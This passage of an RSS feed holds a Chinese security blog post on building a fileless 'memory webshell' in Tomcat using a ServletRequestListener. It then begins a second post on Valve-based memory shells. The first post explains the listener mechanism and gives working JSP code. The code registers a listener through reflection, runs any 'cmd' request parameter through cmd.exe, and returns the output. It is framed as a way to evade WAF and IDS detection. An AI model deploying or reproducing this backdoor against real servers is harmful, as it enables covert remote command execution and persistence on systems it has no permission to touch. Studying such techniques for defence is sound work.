黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景：</span></strong></span><br/></h6><p style="white-space: normal;"><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;color: rgb(54, 41, 47);">基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。</span></p><p style="text-indent:28px;text-align:left;"><span style="font-family:等线;color:rgb(54,41,47);font-size:15px;"><span style="font-family:等线;">结合当下形势，对</span>Tomcat容器如何利用Listener实现的内存Webshell进行研究学习。</span></p><p style="white-space: normal;"><span style="color: rgb(54, 41, 47);"><span style="font-family: 等线;font-size: 15px;"></span></span><br/></p><section style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 28px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(121, 123, 170);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">声明 ：</span></strong></span></h6><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="white-space: normal;"><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;"><span style="font-family:等线;font-size:14px;"> </span></p><p><span style="font-family:等线;font-size:14px;">一、</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">什么是</span>Listener？</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Listener译文监听器，顾名思义用于监听事件的发生或状态的改变。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family:等线;font-size:14px;">二、</span><span style="font-family:等线;font-size:14px;">Tomcat为什么要引入Listener？</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Tomcat在启动、运行、关闭等各个过程中，由于环境中对象之间的依赖关系复杂，对象的属性和状态会发生各种改变，一个对象的改变需要通知其他依赖于它的对象，以此保证高度的协同合作，而Listener的引入，正是为了解决该问题。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这种行为模式，也称为观察者模式。</span></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">三、</span>Listener的实现和类型？</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">LifecycleListener增加了生命周期管理，主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。相关的类和接口列出如下，看下图三，Lifecycle接口定义了运行状态，用于容器状态的判断和管理。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4087136929460581" data-s="300,640" style="" data-type="png" data-w="482" src="https://wechat2rss.xlab.app/img-proxy/?k=7aa5ccf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDfqJuObibxiadg2x8Mnx4ibiaTTGs7KGn3ibwNPYKlrFiaYoKMicicI9fE8icicicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6335740072202166" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=a3ed6955&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDNicPTibqE23HqjejgstiaII8zUEXEDMyLRM1IRmNPCiabgzRthF4Do5Uiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.088679245283019" data-s="300,640" style="" data-type="png" data-w="530" src="https://wechat2rss.xlab.app/img-proxy/?k=aeb77201&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDmoWMqibOtWSISBLtvPwjJPRhHITetVGZR5YmSwfbC049t4pKGYHBjKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">但我们这次不讲</span>LifecycleListener，原因是它们多用于Tomcat初始化启动阶段，那时客户端的请求还没进入解析阶段，也就是说不能通过请求随心所欲传递并执行我们的命令。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">所以，让我们来看看</span>EvenListener。EvenListener接口很简单，简单到啥也没有。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.49002849002849" data-s="300,640" style="" data-type="png" data-w="351" src="https://wechat2rss.xlab.app/img-proxy/?k=c1b1ffe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDWxibEMqRYqOwIibcsVzqLZ3QMaXUUIMcjQedd65rY0SNOU5hRZ92oiclw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">原生</span>Tomcat中，自定义了很多继承于EventListener的接口，应用于各个对象的监听。下图列举一些常见的监听器接口。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.644404332129964" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e86dba87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDPYDOqBQ3wPeK88q2xl6BfmMGnLdO1PT0FGo6ParAZK3rTCS554kQCA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">我们主要来关注箭头指向的</span>ServletRequestListener，可能有的朋友会好奇为何这么多不选，而要挑ServletRequestListener。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">既然要实现Webshell，理所当然希望它能接收我们任意的输入以及随心所欲控制响应，因此我们需找到一个Tomcat解析了请求后但仍未响应的中间环节。而ServletRequestListener是一个很好选择，来看看为什么。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.463898916967509" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=6507ab14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDm45xVQYmibpMuoHkx0640TTlH0PvCePbx1BYWoHjQ2umiaib17wiaFa8vw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">ServletRequestListener用于监听ServletRequest的生成和销毁，也就是当我们访问任意资源，无论是servlet、jsp还是静态资源，都会触发requestInitialized方法。继续看，在哪个环节，什么时候，哪个地方会调用监听器。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4376130198915009" data-s="300,640" style="" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=e0a4849c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDolrhRdB15gvTDJLkTd1WUianuiaYhCjeS3IBkR1ia55QeYEa0ekIO1sUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: left;text-indent: 2em;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">具体在</span>StandardHostValve调用下一个阀之前调用context.fireRequestInitEvent(request.getRequest())，进而调用ServletRequestListener。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">了解</span>Tomcat处理流程的应该知道，请求在CoyoteAdapter#service()方法中生成ServletRequest对象并完成解析，下个流程是到Engine、Container中进行处理，而StandardHostValve正是Container中的环节，到这一步时，我们的请求参数已经被Tomcat解析完毕并保存在Request对象里了，继续往下看。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">此处的</span>context是StandardContext，来看fireRequestInitEvent()。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.41696750902527074" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=bf901498&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDjPwTODn6cYUk6D7kRUK4viaPMTzibtF2tSIyH2LYwX5wfxAEUwqIcofw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过</span>this.getApplicationEventListeners();获取成员属性ApplicationEventListeners中的监听器，然后生成ServletRequestEvent事件对象，而后通过for循环，遍历调用(ServletRequestListener) listener.requestInitialized(event);</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">而</span>requestInitialized就是继承ServletRequestLisner接口要实现的方法。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">经过以上分析，大致了解，</span>Tomcat执行到StandardHostValve#invoke()时，获取存储在StandardContext.ApplicationEventListeners中的监听器，并遍历调用listener#requestInitialized()</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">那注入</span>listener马，我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能，然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">默认情况下，</span>ApplicationEventListeners为空，不存在监听器，这里如此设计是为了给开发者提供更多的功能扩展空间，比方说实施一些用户数据埋点记录，运行状态监控等等。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">四、编写代码</span></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">导入的包：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.core.StandardContext&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.lang.reflect.Field&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.connector.Request&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.io.InputStream&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.util.Scanner&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.io.IOException&#34;</span> %&gt;</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">编写监听器：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%!</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">myListener</span> <span class="code-snippet__title">implements</span> <span class="code-snippet__title">ServletRequestListener</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">requestDestroyed</span>(<span class="code-snippet__params">ServletRequestEvent sre</span>)</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (req.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>) != <span class="code-snippet__literal">null</span>){</span></code><code><span class="code-snippet_outer">                InputStream <span class="code-snippet__keyword">in</span> = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">in</span> = Runtime.getRuntime().exec(<span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;cmd.exe&#34;</span>,<span class="code-snippet__string">&#34;/c&#34;</span>,req.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>)}).getInputStream();</span></code><code><span class="code-snippet_outer">                    Scanner s = <span class="code-snippet__keyword">new</span> Scanner(<span class="code-snippet__keyword">in</span>).useDelimiter(<span class="code-snippet__string">&#34;\\A&#34;</span>);</span></code><code><span class="code-snippet_outer">                    String <span class="code-snippet__keyword">out</span> = s.hasNext()?s.next():<span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    Field requestF = req.getClass().getDeclaredField(<span class="code-snippet__string">&#34;request&#34;</span>);</span></code><code><span class="code-snippet_outer">                    requestF.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                    Request request = (Request)requestF.<span class="code-snippet__keyword">get</span>(req);</span></code><code><span class="code-snippet_outer">                    request.getResponse().getWriter().write(<span class="code-snippet__keyword">out</span>);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">catch</span> (IOException e) {}</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">catch</span> (NoSuchFieldException e) {}</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">catch</span> (IllegalAccessException e) {}</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">requestInitialized</span>(<span class="code-snippet__params">ServletRequestEvent sre</span>)</span> {}</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">一个小路径快速获得</span>StandardContext：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Field</span> <span class="code-snippet__attr">reqF</span> = <span class="code-snippet__string">request.getClass().getDeclaredField(</span>&#34;<span class="code-snippet__attr">request</span>&#34;);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">reqF.setAccessible</span>(<span class="code-snippet__attr">true</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Request</span> <span class="code-snippet__attr">req</span> = <span class="code-snippet__string">(Request)</span> <span class="code-snippet__attr">reqF.get</span>(<span class="code-snippet__attr">request</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">StandardContext</span> <span class="code-snippet__attr">context</span> = <span class="code-snippet__string">(StandardContext)</span> <span class="code-snippet__attr">req.getContext</span>();</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">添加监听器</span>:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">myListener</span> <span class="code-snippet__attr">listenerdemo</span> = <span class="code-snippet__string">new</span> <span class="code-snippet__attr">myListener</span>();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">context.addApplicationEventListener</span>(<span class="code-snippet__attr">listenerdemo</span>);</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p><br/></p><p><span style="font-family:等线;font-size:14px;">五、</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">补充细节</span></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">（1）</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">关于</span>*.jsp页面中的request对象实际上是RequestFacade对象，这里采用的是门面模式，将复杂的对象转化成一个简单易操作的对象，提供一个简单入口的同时也是为了保证原有对象的独立性。而RequestFacade就是org.apache.catalina.connector.Request对象的门面。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5433212996389891" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ebf0ecdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDUxDv3wosLHKwzTWiaVibgDNbfO8yiaibLezK1iaQFh2nVdtxf2f2M83fq8A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent: 28px;text-align: left;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">（</span>2）还记得调用ServletRequestListener的入口不？context.fireRequestInitEvent(request.getRequest())，这里的request.getRequest()得到的也是Request对象的门面，可别搞错咯。所以上面我使用了反射得到RequestFacade里的Request，进而得到Response控制输出。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5" data-s="300,640" style="" data-type="png" data-w="504" src="https://wechat2rss.xlab.app/img-proxy/?k=5dd7e03f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDicOE3H64Depxx0iaGD2tAeJB4yFqFIpmZ3TcKt4AjXfH6mibD3E5EhGtA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">六、效果</span></span></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"><br/></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.26353790613718414" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=257c634e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDh9LRztPOH1G2Q2GZttSNE3vAUbhNudXK6Q1kJQvzWN2XxBb36Uf9Fw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.59921875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=85dc41c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDvNI9fc7RCFjc4G8hJF6NWGDkWiamlALia3NmRGymwnC18yHOhcfib1wicg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><br/></p>



<p><a href="2247483928">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7d8aebce&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483928%26idx%3D1%26sn%3Df1e9e8fa8f31982fa906422492c17474%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 03 Jan 2021 21:33:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之Valve内存马出世</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483892&amp;idx=1&amp;sn=05bbd3388f0915edf900def85494ff59</link>
      <description>&#34;让我在你的沉默中安静无声，并借于你的沉默与你说话&#34;   -  Pablo Neruda</description>
      <content:encoded><![CDATA[<p>
原创 <span>鲸落</span> <span>2020-12-21 22:11</span> <span style="display: inline-block;"></span>
</p>

<p>"让我在你的沉默中安静无声，并借于你的沉默与你说话"   -  Pablo Neruda</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6ec24d6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62lSrhOySD5JDsn8fFLuufPDZGI8YfLWhAF6XCqWXDoIs3eEQOcuSkMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-indent: 2em;text-align: center;"><br/><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></section><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="17" data-source-title="https://www.anquanke.com/post/id/225870"><section class="js_blockquote_digest"><p>原文首发于安全客 - 安全资讯平台</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E5%8E%9F%E6%96%87%E9%A6%96%E5%8F%91%E4%BA%8E%E5%AE%89%E5%85%A8%E5%AE%A2%26nbsp%3B-%26nbsp%3B%E5%AE%89%E5%85%A8%E8%B5%84%E8%AE%AF%E5%B9%B3%E5%8F%B0%3C%2Fp%3E%22%2C%22digestLen%22%3A17%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F225870%22%7D"><span class="blockquote_other"><a href="https://www.anquanke.com/post/id/225870" target="_blank">https://www.anquanke.com/post/id/225870</a></span></section></blockquote><p><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" 